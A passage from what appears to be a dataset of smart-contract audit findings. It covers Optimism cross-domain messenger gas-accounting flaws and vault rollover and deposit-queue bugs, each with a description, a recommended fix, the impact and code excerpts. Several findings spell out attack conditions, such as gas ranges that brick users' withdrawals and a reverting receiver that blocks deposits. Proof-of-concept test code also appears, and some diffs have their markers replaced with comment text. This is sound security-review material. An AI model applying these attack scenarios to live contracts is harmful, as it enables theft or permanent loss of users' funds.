recipient\\n _value, // ether value\\n add(_calldata, 32), // inloc\\n mload(_calldata), // inlen\\n 0x00, // outloc\\n 0x00 // outlen\\n )\\n }\\n console.log("gasSent =", gasSent);\\n return _success;\\n }\\n}\\n\\ncontract Callee {\\n fallback() external payable {\\n uint256 gas = gasleft();\\n console.log("gasReceived =", gas);\\n }\\n}\\n\\ncontract Caller {\\n function execute(\\n address _target,\\n uint256 _minGas,\\n bytes memory _calldata\\n ) external payable {\\n SafeCall.callWithMinGas(_target, _minGas, msg.value, _calldata);\\n }\\n}\\n\\ncontract TestCallWithMinGas is Test {\\n address callee;\\n Caller caller;\\n\\n function setUp() public {\\n callee = address(new Callee());\\n caller = new Caller();\\n }\\n\\n function testCallWithMinGas() public {\\n console.log("-------1st call------");\\n caller.execute{gas: 64_855}(callee, 63_000, "");\\n\\n console.log("\\n -------2nd call------");\\n caller.execute{gas: 64_855}(callee, 63_000, "");\\n\\n console.log("\\n -------3rd call------");\\n caller.execute{gas: 62_555, value: 1}(callee, 63_000, "");\\n }\\n}\\n```\\n\\nAnd the log would be\\n```\\nRunning 1 test for test/TestCallWithMinGas.sol:TestCallWithMinGas\\n[PASS] testCallWithMinGas() (gas: 36065)\\nLogs:\\n -------1st call------\\n gasReceived = 60582\\n gasSent = 64200\\n\\n -------2nd call------\\n gasReceived = 63042\\n gasSent = 64200\\n\\n -------3rd call------\\n gasReceived = 56483\\n gasSent = 64200\\n```\\n\\nThe difference between `1st call` and `2nd call` is caused by EIP-2929, and the difference between `2nd call` and `3rd call` is caused by transferring value. We can see the actual received gas in the sub-contract is less than the 63,000 `_minGas` limit in both 1st and `3rd call`. | The migration logic may look like\\n```\\nif (_value == 0) {\\n gasleft() >= ((_minGas + 200) * 64) / 63 + 2600\\n} else {\\n gasleft() >= ((_minGas + 200) * 64) / 63 + 2600 + 6700\\n}\\n```\\n | `SafeCall.callWithMinGas()` is a key design to ensure withdrawal transactions will be executed with more gas than the limit specified by users. This issue breaks the specification. Finalizing withdrawal transactions with less than specified gas limit may fail unexpectedly due to out of gas, lead to loss of funds. | ```\\nFile: contracts\\libraries\\SafeCall.sol\\n function callWithMinGas(\\n address _target,\\n uint256 _minGas,\\n uint256 _value,\\n bytes memory _calldata\\n ) internal returns (bool) {\\n bool _success;\\n assembly {\\n // Assertion: gasleft() >= ((_minGas + 200) * 64) / 63\\n //\\n // Because EIP-150 ensures that, a maximum of 63/64ths of the remaining gas in the call\\n // frame may be passed to a subcontext, we need to ensure that the gas will not be\\n // truncated to hold this function's invariant: "If a call is performed by\\n // `callWithMinGas`, it must receive at least the specified minimum gas limit." In\\n // addition, exactly 51 gas is consumed between the below `GAS` opcode and the `CALL`\\n // opcode, so it is factored in with some extra room for error.\\n if lt(gas(), div(mul(64, add(_minGas, 200)), 63)) {\\n // Store the "Error(string)" selector in scratch space.\\n mstore(0, 0x08c379a0)\\n // Store the pointer to the string length in scratch space.\\n mstore(32, 32)\\n // Store the string.\\n //\\n // SAFETY:\\n // - We pad the beginning of the string with two zero bytes as well as the\\n // length (24) to ensure that we override the free memory pointer at offset\\n // 0x40. This is necessary because the free memory pointer is likely to\\n // be greater than 1 byte when this function is called, but it is incredibly\\n // unlikely that it will be greater than 3 bytes. As for the data within\\n // 0x60, it is ensured that it is 0 due to 0x60 being the zero offset.\\n // - It's fine to clobber the free memory pointer, we're reverting.\\n mstore(88, 0x0000185361666543616c6c3a204e6f7420656e6f75676820676173)\\n\\n // Revert with 'Error("SafeCall: Not enough gas")'\\n revert(28, 100)\\n }\\n\\n // The call will be supplied at least (((_minGas + 200) * 64) / 63) - 49 gas due to the\\n // above assertion. This ensures that, in all circumstances, the call will\\n // receive at least the minimum amount of gas specified.\\n // We can prove this property by solving the inequalities:\\n // ((((_minGas + 200) * 64) / 63) - 49) >= _minGas\\n // ((((_minGas + 200) * 64) / 63) - 51) * (63 / 64) >= _minGas\\n // Both inequalities hold true for all possible values of `_minGas`.\\n _success := call(\\n gas(), // gas\\n _target, // recipient\\n _value, // ether value\\n add(_calldata, 32), // inloc\\n mload(_calldata), // inlen\\n 0x00, // outloc\\n 0x00 // outlen\\n )\\n }\\n return _success;\\n }\\n```\\n |
CrossDomainMessenger does not successfully guarantee replayability, can lose user funds | medium | While `SafeCall.callWithMinGas` successfully ensures that the called function will not revert, it does not ensure any remaining buffer for continued execution on the calling contract.\\nAs a result, there are situations where `OptimismPortal` can be called with an amount of gas such that the remaining gas after calling `L1CrossDomainMessenger` is sufficient to finalize the transaction, but such that the remaining gas after `L1CrossDomainMessenger` makes its call to target is insufficient to mark the transaction as successful or failed.\\nIn any of these valid scenarios, users who withdraw using the L1CrossDomainMessenger (expecting replayability) will have their withdrawals bricked, permanently losing their funds.\\nWhen a user performs a withdrawal with the `L1CrossDomainMessenger`, they include a `gasLimit` value, which specifies the amount of gas that is needed for the function to execute on L1.\\nThis value is translated into two separate values:\\nThe `OptimismPortal` sends at least baseGas(_message, _minGasLimit) = 64/63 * `_minGasLimit` + 16 * data.length + 200_000 to `L1CrossDomainMessenger`, which accounts for the additional overhead used by the Cross Domain Messenger.\\nThe `L1CrossDomainMessenger` sends at least `_minGasLimit` to the target contract.\\nThe core of this vulnerability is in the fact that, if:\\n`OptimismPortal` retains sufficient gas after its call to complete the transaction, and\\n`L1CrossDomainMessenger` runs out of gas after its transaction is complete (even if the tx succeeded)\\n...then the result will be that the transaction is marked as finalized in the Portal (disallowing it from being called again), while the Cross Domain Messenger transaction will revert, causing the target transaction to revert and not setting it in `failedMessages` (disallowing it from being replayed). The result is that the transaction will be permanently stuck.\\nCalcuations\\nLet's run through the math to see how this might unfold. We will put aside the additional gas allocated for calldata length, because this amount is used up in the call and doesn't materially impact the calculations.\\nWhen the `OptimismPortal` calls the `L1CrossDomainMessenger`, it is enforced that the gas sent will be greater than or equal to `_minGasLimit * 64/63 + 200_000`.\\nThis ensures that the remaining gas for the `OptimismPortal` to continue execution after the call is at least `_minGasLimit / 64 + 3125`. Even assuming that `_minGasLimit == 0`, this is sufficient for `OptimismPortal` to complete execution, so we can safely say that any time `OptimismPortal.finalizeWithdrawalTransaction()` is called with sufficient gas to pass the `SafeCall.callWithMinGas()` check, it will complete execution.\\nMoving over to `L1CrossDomainMessenger`, our call begins with at least `_minGasLimit * 64/63 + 200_000` gas. By the time we get to the external call, we have remaining gas of at least `_minGasLimit * 64/63 + 158_998`. This leaves us with the following guarantees:\\nGas available for the external call will be at least 63/64ths of that, which equals `_minGasLimit + 156_513`.\\nGas available for continued execution after the call will be at least 1/64th of that, which equals `_minGasLimit * 1/63 + 3125`.\\nThe additional gas required to mark the transaction as `failedMessages[versionedHash] = true` and complete the rest of the execution is `23,823`.\\nTherefore, in any situation where the external call uses all the available gas will revert if `_minGasLimit * 1/63 + 3125 < 23_823`, which simplifies to `_minGasLimit < 1_303_974`. In other words, in most cases.\\nHowever, it should be unusual for the external call to use all the available gas. In most cases, it should only use `_minGasLimit`, which would leave `156_513` available to resolve this issue.\\nSo, let's look at some examples of times when this may not be the case.\\nAt Risk Scenarios\\nThere are several valid scenarios where users might encounter this issue, and have their replayable transactions stuck:\\nUser Sends Too Little Gas\\nThe expectation when using the Cross Domain Messenger is that all transactions will be replayable. Even if the `_minGasLimit` is set incorrectly, there will always be the opportunity to correct this by replaying it yourself with a higher gas limit. In fact, it is a core tenet of the Cross Domain Messengers that they include replay protection for failed transactions.\\nHowever, if a user sets a gas limit that is too low for a transaction, this issue may result.\\nThe consequence is that, while users think that Cross Domain Messenger transactions are replayable and gas limits don't need to be set precisely, they can in fact lose their entire withdrawal if they set their gas limit too low, even when using the "safe" Standard Bridge or Cross Domain Messenger.\\nTarget Contract Uses More Than Minimum Gas\\nThe checks involved in this process ensure that sufficient gas is being sent to a contract, but there is no requirement that that is all the gas a contract uses.\\n`_minGasLimit` should be set sufficiently high for the contract to not revert, but that doesn't mean that `_minGasLimit` represents the total amount of gas the contract uses.\\nAs a silly example, let's look at a modified version of the `gas()` function in your `Burn.sol` contract:\\n```\\nfunction gas(uint256 _amountToLeave) internal view {\\n uint256 i = 0;\\n while (gasleft() > _amountToLeave) {\\n ++i;\\n }\\n}\\n```\\n\\nThis function runs until it leaves a specified amount of gas, and then returns. While the amount of gas sent to this contract could comfortably exceed the `_minGasLimit`, it would not be safe to assume that the amount leftover afterwards would equal `startingGas - _minGasLimit`.\\nWhile this is a contrived example, but the point is that there are many situations where it is not safe to assume that the minimum amount of gas a function needs will be greater than the amount it ends up using, if it is provided with extra gas.\\nIn these cases, the assumption that our leftover gas after the function runs will be greater than the required 1/64th does not hold, and the withdrawal can be bricked. | `L1CrossDomainMessenger` should only send `_minGasLimit` along with its call to the target (rather than gas()) to ensure it has sufficient leftover gas to ensure replayability. | In certain valid scenarios where users decide to use the "safe" Cross Domain Messenger or Standard Bridge with the expectation of replayability, their withdrawals from L2 to L1 can be bricked and permanently lost. | ```\\nfunction gas(uint256 _amountToLeave) internal view {\\n uint256 i = 0;\\n while (gasleft() > _amountToLeave) {\\n ++i;\\n }\\n}\\n```\\n |
Gas usage of cross-chain messages is undercounted, causing discrepancy between L1 and L2 and impacting intrinsic gas calculation | medium | Gas consumption of messages sent via CrossDomainMessenger (including both L1CrossDomainMessenger and L2CrossDomainMessenger) is calculated incorrectly: the gas usage of the "relayMessage" wrapper is not counted. As a result, the actual gas consumption of sending a message will be higher than expected. Users will pay less for gas on L1, and L2 blocks may be filled earlier than expected. This will also affect gas metering via ResourceMetering: metered gas will be lower than actual consumed gas, and the EIP-1559-like gas pricing mechanism won't reflect the actual demand for gas.\\nThe CrossDomainMessenger.sendMessage function is used to send cross-chain messages. Users are required to set the `_minGasLimit` argument, which is the expected amount of gas that the message will consume on the other chain. The function also computes the amount of gas required to pass the message to the other chain: this is done in the `baseGas` function, which computes the byte-wise cost of the message. `CrossDomainMessenger` also allows users to replay their messages on the destination chain if they failed: to allow this, the contract wraps user messages in `relayMessage` calls. This increases the size of messages, but the `baseGas` call above counts gas usage of only the original, not wrapped in the `relayMessage` call, message.\\nThis contradicts the intrinsic gas calculation in `op-geth`, which calculates gas of an entire message data:\\n```\\ndataLen := uint64(len(data))\\n// Bump the required gas by the amount of transactional data\\nif dataLen > 0 {\\n // rest of code\\n}\\n```\\n\\nThus, there's a discrepancy between the contract and the node, which will result in the node consuming more gas than users paid for.\\nThis behaviour also disagrees with how the migration process works:\\nwhen migrating pre-Bedrock withdrawals, `data` is the entire messages, including the `relayMessage` calldata;\\nthe gas limit of migrated messages is computed on the entire `data`.\\nTaking into account the logic of paying cross-chain messages' gas consumption on L1, I think the implementation in the migration code is correct and the implementation in `CrossDomainMessenger` is wrong: users should pay for sending the entire cross-chain message, not just the calldata that will be execute on the recipient on the other chain. | When counting gas limit in the `CrossDomainMessenger.sendMessage` function, consider counting the entire message, including the `relayMessage` calldata wrapping. Consider a change like that:\\n```\\ndiff // Remove the line below\\n// Remove the line below\\ngit a/packages/contracts// Remove the line below\\nbedrock/contracts/universal/CrossDomainMessenger.sol b/packages/contracts// Remove the line below\\nbedrock/contracts/universal/CrossDomainMessenger.sol\\nindex f67021010..5239feefd 100644\\n// Remove the line below\\n// Remove the line below\\n// Remove the line below\\n a/packages/contracts// Remove the line below\\nbedrock/contracts/universal/CrossDomainMessenger.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/packages/contracts// Remove the line below\\nbedrock/contracts/universal/CrossDomainMessenger.sol\\n@@ // Remove the line below\\n253,19 // Add the line below\\n253,20 @@ abstract contract CrossDomainMessenger is\\n // message is the amount of gas requested by the user PLUS the base gas value. We want to\\n // guarantee the property that the call to the target contract will always have at least\\n // the minimum gas limit specified by the user.\\n// Add the line below\\n bytes memory wrappedMessage = abi.encodeWithSelector(\\n// Add the line below\\n this.relayMessage.selector,\\n// Add the line below\\n messageNonce(),\\n// Add the line below\\n msg.sender,\\n// Add the line below\\n _target,\\n// Add the line below\\n msg.value,\\n// Add the line below\\n _minGasLimit,\\n// Add the line below\\n _message\\n// Add the line below\\n );\\n _sendMessage(\\n OTHER_MESSENGER,\\n// Remove the line below\\n baseGas(_message, _minGasLimit),\\n// Add the line below\\n baseGas(wrappedMessage, _minGasLimit),\\n msg.value,\\n// Remove the line below\\n abi.encodeWithSelector(\\n// Remove the line below\\n this.relayMessage.selector,\\n// Remove the line below\\n messageNonce(),\\n// Remove the line below\\n msg.sender,\\n// Remove the line below\\n _target,\\n// Remove the line below\\n msg.value,\\n// Remove the line below\\n _minGasLimit,\\n// Remove the line below\\n _message\\n// Remove the line below\\n )\\n// Add the line below\\n wrappedMessage\\n );\\n\\n emit SentMessage(_target, msg.sender, _message, messageNonce(), _minGasLimit);\\n```\\n | Since the `CrossDomainMessenger` contract is recommended to be used as the main cross-chain messaging contract and since it's used by both L1 and L2 bridges (when bridging ETH or ERC20 tokens), the undercounted gas will have a broad impact on the system. It'll create a discrepancy in gas usage and payment on L1 and L2: on L1, users will pay for less gas than actually will be consumed by cross-chain messages.\\nAlso, since messages sent from L1 to L2 (via OptimismPortal.depositTransaction) are priced using an EIP-1559-like mechanism (via ResourceMetering._metered), the mechanism will fail to detect the actual demand for gas and will generally set lower gas prices, while actual gas consumption will be higher.\\nThe following bytes are excluded from gas usage counting:\\nthe 4 bytes of the `relayMessage` selector;\\nthe 32 bytes of the message nonce;\\nthe address of the sender (20 bytes);\\nthe address of the recipient (20 bytes);\\nthe amount of ETH sent with the message (32 bytes);\\nthe minimal gas limit of the nested message (32 bytes).\\nThus, every cross-chain message sent via the bridge or the messenger will contain 140 bytes that won't be paid by users. The bytes will however be processed by the node and accounted in the gas consumption. | ```\\ndataLen := uint64(len(data))\\n// Bump the required gas by the amount of transactional data\\nif dataLen > 0 {\\n // rest of code\\n}\\n```\\n |
Malicious actor can prevent migration by calling a non-existing function in `OVM_L2ToL1MessagePasser` and making `ReadWitnessData` return an error | medium | There is a mismatch between collected witness data in l2geth to the parsing of the collected data during migration. The mismatch will return an error and halt the migration until the data will be cleaned.\\nWitness data is collected from L2geth using a state dumper that collects any call to `OVM_L2ToL1MessagePasser`. The data is collected regardless of the calldata itself. Any call to `OVM_L2ToL1MessagePasser` will be collected. The data will persist regardless of the status of the transaction.\\n```\\n func (evm *EVM) Call(caller ContractRef, addr common.Address, input []byte, gas uint64, value *big.Int) (ret []byte, leftOverGas uint64, err error) { \\n if addr == dump.MessagePasserAddress { \\n statedumper.WriteMessage(caller.Address(), input) \\n } \\n```\\n\\nThe data will be stored in a file in the following format: "MSG|<source>|<calldata>"\\nAt the start of the migration process, in order to unpack the message from the calldata, the code uses the first 4 bytes to lookup the the selector of `passMessageToL1` from the calldata and unpack the calldata according to the ABI.\\n```\\n method, err := abi.MethodById(msgB[:4])\\n if err != nil {\\n return nil, nil, fmt.Errorf("failed to get method: %w", err)\\n }\\n\\n out, err := method.Inputs.Unpack(msgB[4:])\\n if err != nil {\\n return nil, nil, fmt.Errorf("failed to unpack: %w", err)\\n }\\n```\\n\\nAs can be seen above, the function will return an error that is bubbled up to stop the migration if:\\nThe calldata first 4 bytes is not a selector of a function from the ABI of `OVM_L2ToL1MessagePasser`\\nThe parameters encoded with the selectors are not unpackable (are not the parameters specified by the ABI)\\nA malicious actor will call any non-existing function in the address of `OVM_L2ToL1MessagePasser`. The message will be stored in the witness data and cause an error during migration.\\n`ReadWitnessData` is called to parse they json witness data before any filtering is in place. | Instead of bubbling up an error, simply continue to the next message. This shouldn't cause a problem since in the next stages of the migration there are checks to validate any missing messages from the storage. | An arbitrary user can halt the migration process | ```\\n func (evm *EVM) Call(caller ContractRef, addr common.Address, input []byte, gas uint64, value *big.Int) (ret []byte, leftOverGas uint64, err error) { \\n if addr == dump.MessagePasserAddress { \\n statedumper.WriteMessage(caller.Address(), input) \\n } \\n```\\n |
Causing users lose fund if bridging long message from L2 to L1 due to uncontrolled out-of-gas error | medium | If the amount of gas provided during finalizing withdrawal transactions passes the check in `callWithMinGas`, it is not guaranteed that the relaying message transaction does not go out of gas. This can happen if the bridged message from L2 to L1 is long enough to increase the gas consumption significantly so that the predicted `baseGas` is not accurate enough.\\nSo far so good.\\nAs a result, while the transaction `OptimismPortal.finalizeWithdrawalTransaction` sets the flag `finalizedWithdrawals[withdrawalHash]` as `true`, the flags `failedMessages[versionedHash]` and `successfulMessages[versionedHash]` are `false`. So, the users can not replay their message, and his fund is lost.\\nThe question is that is there any possibility that `L1CrossDomainMessenger` reverts due to OOG, even though the required gas is calculated in L2 in the function `baseGas`?\\nSo, the amount of gas available to `L1CrossDomainMessenger` will be: `(G - K1 - 51)*(63/64)` Please note this number is based on the estimation of gas consumption explained in the comment:\\n// Because EIP-150 ensures that, a maximum of 63/64ths of the remaining gas in the call // frame may be passed to a subcontext, we need to ensure that the gas will not be // truncated to hold this function's invariant: "If a call is performed by // `callWithMinGas`, it must receive at least the specified minimum gas limit." In // addition, exactly 51 gas is consumed between the below `GAS` opcode and the `CALL` // opcode, so it is factored in with some extra room for error.\\nIn the function `L1CrossDomainMessenger.relayMessage`, some gas will be consumed from line 299 to line 360. For simplicity, I call this amount of gas `K2 + HashingGas`, i.e. the consumed gas is separated for later explanation. In other words, the sum of consumed gas from line 299 to 303 and the consumed gas from line 326 to 360, is called `K2`, and the consumed gas from line 304 to line 325 is called `HashingGas`.\\nSo, the `gasLeft()` in line 361 will be: `(G - K1 - 51)*(63/64) - K2 - HashingGas`\\nTo pass the condition `gasleft() >= ((_minGas + 200) * 64) / 63` in `L1CrossDomainMessenger`, it is necessary to have: `(G - K1 - 51)*(63/64) - K2 - HashingGas >= ((_minGas + 200) * 64) / 63` Please note that, `_minGas` here is equal to `_minGasLimit` which is the amount of gas set by the user to be forwarded to the final receiver on L1. So, after simplification: `G >= [((_minGasLimit + 200) * 64) / 63 + K2 + HashingGas] *(64/63) + 51 + K1`\\nAll in all:\\nTo pass the gas check in OptimismPortal: `G >= ((_minGasLimit * (1016/1000) + messageLength * 16 + 200_000 + 200) * 64) / 63 + K1`\\nTo pass the gas check in L1CrossDomainMessenger: `G >= [((_minGasLimit + 200) * 64) / 63 + K2 + HashingGas] *(64/63) + 51 + K1`\\nIf, `G` is between these two numbers (bigger than the first one, and smaller than the second one), it will pass the check in `OptimismPortal`, but it will revert in `L1CrossDomainMessenger`, as a result it is possible to attack.\\nSince, K1 and K2 are almost equal to 50_000, after simplification:\\n`G >= (_minGasLimit * (1016/1000) + messageLength * 16 ) * (64 / 63) + 253_378`\\n`G >= (_minGasLimit * (64 / 63) + HashingGas) *(64/63) + 101_051`\\nSo it is necessary to satisfy the following condition to be able to attack (in that case it is possible that the attacker provides gas amount between the higher and lower bound to execute the attack): (_minGasLimit * (1016/1000) + messageLength * 16 ) * (64 / 63) + 253_378 < (_minGasLimit * (64 / 63) + HashingGas) *(64/63) + 101_051After simplification, we have:messageLength < (HashingGas - 150_000) / 16`\\nPlease note that the `HashingGas` is a function of `messageLength`. In other words, the consumed gas from Line 304 to 325 is a function of `messageLength`, the longer length the higher gas consumption, but the relation is not linear, it is exponential.**\\nSo, for version zero, the condition can be relaxed to: `messageLength < (HashingGas * 2 - 150_000) / 16`\\nThe calculation shows that if the `messageLength` is equal to 1 mb for version 0, the gas consumed during hashing will be around 23.5M gas (this satisfies the condition above). While, if the `messageLength` is equal to 512 kb for version 0, the gas consumed during hashing will be around 7.3M gas (this does not satisfy the condition above marginally).\\nA short summary of calculation is:\\nmessageLength= 128 kb, HashingGas for v1= 508_000, HahingGas for v0= 1_017_287, attack not possible messageLength= 256 kb, HashingGas for v1= 1_290_584, HahingGas for v0= 2_581_168, attack not possible messageLength= 512 kb, HashingGas for v1= 3_679_097, HahingGas for v0= 7_358_194, attack not possible messageLength= 684 kb, HashingGas for v1= 5_901_416, HahingGas for v0= 11_802_831, attack possible messageLength= 1024 kb, HashingGas for v1= 11_754_659, HahingGas for v0= 23_509_318, attack possible\\n\\nWhich can be calculated approximately by:\\n```\\nfunction checkGasV1(bytes calldata _message)\\n public\\n view\\n returns (uint256, uint256)\\n {\\n uint256 gas1 = gasleft();\\n bytes32 versionedHash = Hashing.hashCrossDomainMessageV1(\\n 0,\\n address(this),\\n address(this),\\n 0,\\n 0,\\n _message\\n );\\n uint256 gas2 = gasleft();\\n return (_message.length, (gas1 - gas2));\\n }\\n```\\n\\n```\\nfunction checkGasV0(bytes calldata _message)\\n public\\n view\\n returns (\\n uint256,\\n uint256,\\n uint256\\n )\\n {\\n uint256 gas1 = gasleft();\\n bytes32 versionedHash1 = Hashing.hashCrossDomainMessageV0(\\n address(this),\\n address(this),\\n _message,\\n 0\\n );\\n uint256 gas2 = gasleft();\\n uint256 gas3 = gasleft();\\n bytes32 versionedHash2 = Hashing.hashCrossDomainMessageV1(\\n 0,\\n address(this),\\n address(this),\\n 0,\\n 0,\\n _message\\n );\\n uint256 gas4 = gasleft();\\n return (_message.length, (gas1 - gas2), (gas3 - gas4));\\n }\\n```\\n\\nIt means that if for example the `messageLength` is equal to 684 kb (mostly non-zero, only 42 kb zero), and the message is version 0, and for example the `_minGasLimit` is equal to 21000, an attacker can exploit the user's withdrawal transaction by providing a gas meeting the following condition: `(_minGasLimit * (1016/1000) + 684 * 1024 * 16 ) * (64 / 63) + 253_378 < G < (_minGasLimit * (64 / 63) + 11_802_831) *(64/63) + 101_051` After, replacing the numbers, the provided gas by the attacker should be: `11_659_592 < G < 12_112_900` So, by providing almost 12M gas, it will pass the check in `OptimismPortal`, but it will revert in `L1CrossDomainMessenger` due to OOG, as a result the user's transaction will not be allowed to be replayed.\\nPlease note that if there is a long time between request of withdrawal transaction on L2 and finalizing withdrawal transaction on L1, it is possible that the gas price is low enough on L1, so economically reasonable for the attacker to execute it.\\nIn Summary:\\nWhen calculating the `baseGas` on L2, only the `minGasLimit` and `message.length` are considered, and a hardcoded overhead is also added. While, the hashing mechanism (due to memory expansion) is exponentially related to the length of the message. It means that, the amount of gas usage during relaying the message can be increased to the level that is higher than calculated value in `baseGas`. So, if the length of the message is long enough (to increase the gas significantly due to memory expansion), it provides an attack surface so that the attacker provides the amount of gas that only pass the condition in `OptimismPortal`, but goes out of gas in `L1CrossDomainMessenger`. | If all the gas is consumed before reaching to L361, the vulnerability is available. So, it is recommended to include memory expansion effect when calculating `baseGas`. | Users will lose fund because it is set as finalized, but not set as failed. So, they can not replay it. | ```\\nfunction checkGasV1(bytes calldata _message)\\n public\\n view\\n returns (uint256, uint256)\\n {\\n uint256 gas1 = gasleft();\\n bytes32 versionedHash = Hashing.hashCrossDomainMessageV1(\\n 0,\\n address(this),\\n address(this),\\n 0,\\n 0,\\n _message\\n );\\n uint256 gas2 = gasleft();\\n return (_message.length, (gas1 - gas2));\\n }\\n```\\n |
Funds can be stolen because of incorrect update to `ownerToRollOverQueueIndex` for existing rollovers | high | In the case where the owner has an existing rollover, the `ownerToRollOverQueueIndex` incorrectly updates to the last queue index. This causes the `notRollingOver` check to be performed on the incorrect `_id`, which then allows the depositor to withdraw funds that should've been locked.\\nIn `enlistInRollover()`, if the user has an existing rollover, it overwrites the existing data:\\n```\\nif (ownerToRollOverQueueIndex[_receiver] != 0) {\\n // if so, update the queue\\n uint256 index = getRolloverIndex(_receiver);\\n rolloverQueue[index].assets = _assets;\\n rolloverQueue[index].epochId = _epochId;\\n```\\n\\nHowever, regardless of whether the user has an existing rollover, the `ownerToRolloverQueueIndex` points to the last item in the queue:\\n```\\nownerToRollOverQueueIndex[_receiver] = rolloverQueue.length;\\n```\\n\\nThus, the `notRollingOver` modifier will check the incorrect item for users with existing rollovers:\\n```\\nQueueItem memory item = rolloverQueue[getRolloverIndex(_receiver)];\\nif (\\n item.epochId == _epochId &&\\n (balanceOf(_receiver, _epochId) - item.assets) < _assets\\n) revert AlreadyRollingOver();\\n```\\n\\nallowing the user to withdraw assets that should've been locked. | The `ownerToRollOverQueueIndex` should be pointing to the last item in the queue in the `else` case only: when the user does not have an existing rollover queue item.\\n```\\n} else {\\n // if not, add to queue\\n rolloverQueue.push(\\n QueueItem({\\n assets: _assets,\\n receiver: _receiver,\\n epochId: _epochId\\n })\\n );\\n// Add the line below\\n ownerToRollOverQueueIndex[_receiver] = rolloverQueue.length;\\n}\\n// Remove the line below\\n ownerToRollOverQueueIndex[_receiver] = rolloverQueue.length;\\n```\\n | Users are able to withdraw assets that should've been locked for rollovers. | ```\\nif (ownerToRollOverQueueIndex[_receiver] != 0) {\\n // if so, update the queue\\n uint256 index = getRolloverIndex(_receiver);\\n rolloverQueue[index].assets = _assets;\\n rolloverQueue[index].epochId = _epochId;\\n```\\n |
When rolling over, user will lose his winnings from previous epoch | high | When `mintRollovers` is called, when the function mints shares for the new epoch for the user, the amount of shares minted will be the same as the original assets he requested to rollover - not including the amount he won. After this, all these asset shares from the previous epoch are burnt. So the user won't be able to claim his winnings.\\nWhen user requests to `enlistInRollover`, he supplies the amount of assets to rollover, and this is saved in the queue.\\n```\\nrolloverQueue[index].assets = _assets;\\n```\\n\\nWhen `mintRollovers` is called, the function checks if the user won the previous epoch, and proceeds to burn all the shares the user requested to roll:\\n```\\n if (epochResolved[queue[index].epochId]) {\\n uint256 entitledShares = previewWithdraw(\\n queue[index].epochId,\\n queue[index].assets\\n );\\n // mint only if user won epoch he is rolling over\\n if (entitledShares > queue[index].assets) {\\n // rest of code\\n // @note we know shares were locked up to this point\\n _burn(\\n queue[index].receiver,\\n queue[index].epochId,\\n queue[index].assets\\n );\\n```\\n\\nThen, and this is the problem, the function mints to the user his original assets - `assetsToMint` - and not `entitledShares`.\\n```\\nuint256 assetsToMint = queue[index].assets - relayerFee;\\n_mintShares(queue[index].receiver, _epochId, assetsToMint);\\n```\\n\\nSo the user has only rolled his original assets, but since all his share of them is burned, he will not be able anymore to claim his winnings from them.\\nNote that if the user had called `withdraw` instead of rolling over, all his shares would be burned, but he would receive his `entitledShares`, and not just his original assets. We can see in this in `withdraw`. Note that `_assets` is burned (like in minting rollover) but `entitledShares` is sent (unlike minting rollover, which only remints _assets.)\\n```\\n _burn(_owner, _id, _assets);\\n _burnEmissions(_owner, _id, _assets);\\n uint256 entitledShares;\\n uint256 entitledEmissions = previewEmissionsWithdraw(_id, _assets);\\n if (epochNull[_id] == false) {\\n entitledShares = previewWithdraw(_id, _assets);\\n } else {\\n entitledShares = _assets;\\n }\\n if (entitledShares > 0) {\\n SemiFungibleVault.asset.safeTransfer(_receiver, entitledShares);\\n }\\n if (entitledEmissions > 0) {\\n emissionsToken.safeTransfer(_receiver, entitledEmissions);\\n }\\n```\\n | Either remint the user his winnings also, or if you don't want to make him roll over the winnings, change the calculation so he can still withdraw his shares of the winnings. | User will lose his rewards when rolling over. | ```\\nrolloverQueue[index].assets = _assets;\\n```\\n |
Adversary can break deposit queue and cause loss of funds | high | Carousel.sol#L531-L538\\n```\\nfunction _mintShares(\\n address to,\\n uint256 id,\\n uint256 amount\\n) internal {\\n _mint(to, id, amount, EMPTY);\\n _mintEmissions(to, id, amount);\\n}\\n```\\n\\nWhen processing deposits for the deposit queue, it _mintShares to the specified receiver which makes a _mint subcall.\\nERC1155.sol#L263-L278\\n```\\nfunction _mint(address to, uint256 id, uint256 amount, bytes memory data) internal virtual {\\n require(to != address(0), "ERC1155: mint to the zero address");\\n\\n address operator = _msgSender();\\n uint256[] memory ids = _asSingletonArray(id);\\n uint256[] memory amounts = _asSingletonArray(amount);\\n\\n _beforeTokenTransfer(operator, address(0), to, ids, amounts, data);\\n\\n _balances[id][to] += amount;\\n emit TransferSingle(operator, address(0), to, id, amount);\\n\\n _afterTokenTransfer(operator, address(0), to, ids, amounts, data);\\n\\n _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);\\n}\\n```\\n\\nThe base ERC1155 _mint is used which always behaves the same way that ERC721 safeMint does, that is, it always calls _doSafeTrasnferAcceptanceCheck which makes a call to the receiver. A malicious user can make the receiver always revert. This breaks the deposit queue completely. Since deposits can't be canceled this WILL result in loss of funds to all users whose deposits are blocked. To make matters worse it uses first in last out so the attacker can trap all deposits before them | Override _mint to remove the safeMint behavior so that users can't DOS the deposit queue | Users who deposited before the adversary will lose their entire deposit | ```\\nfunction _mintShares(\\n address to,\\n uint256 id,\\n uint256 amount\\n) internal {\\n _mint(to, id, amount, EMPTY);\\n _mintEmissions(to, id, amount);\\n}\\n```\\n |
Controller doesn't send treasury funds to the vault's treasury address | medium | The Controller contract sends `treasury` funds to its own immutable `treasury` address instead of sending the funds to the one stored in the respective vault contract.\\nEach vault has a treasury address that is assigned on deployment which can also be updated through the factory contract:\\n```\\n constructor(\\n // // rest of code\\n address _treasury\\n ) SemiFungibleVault(IERC20(_assetAddress), _name, _symbol, _tokenURI) {\\n // // rest of code\\n treasury = _treasury;\\n whitelistedAddresses[_treasury] = true;\\n }\\n\\n function setTreasury(address _treasury) public onlyFactory {\\n if (_treasury == address(0)) revert AddressZero();\\n treasury = _treasury;\\n }\\n```\\n\\nBut, the Controller, responsible for sending the fees to the treasury, uses the immutable treasury address that it was initialized with:\\n```\\n constructor(\\n // // rest of code\\n address _treasury\\n ) {\\n // // rest of code\\n treasury = _treasury;\\n }\\n\\n // @audit just one example. Search for `treasury` in the Controller contract to find the others\\n function triggerEndEpoch(uint256 _marketId, uint256 _epochId) public {\\n // // rest of code\\n \\n // send premium fees to treasury and remaining TVL to collateral vault\\n premiumVault.sendTokens(_epochId, premiumFee, treasury);\\n // strike price reached so collateral is entitled to collateralTVLAfterFee\\n premiumVault.sendTokens(\\n _epochId,\\n premiumTVLAfterFee,\\n address(collateralVault)\\n );\\n\\n // // rest of code\\n }\\n```\\n | The Controller should query the Vault to get the correct treasury address, e.g.:\\n```\\ncollateralVault.sendTokens(_epochId, collateralFee, collateralVault.treasury());\\n```\\n | It's not 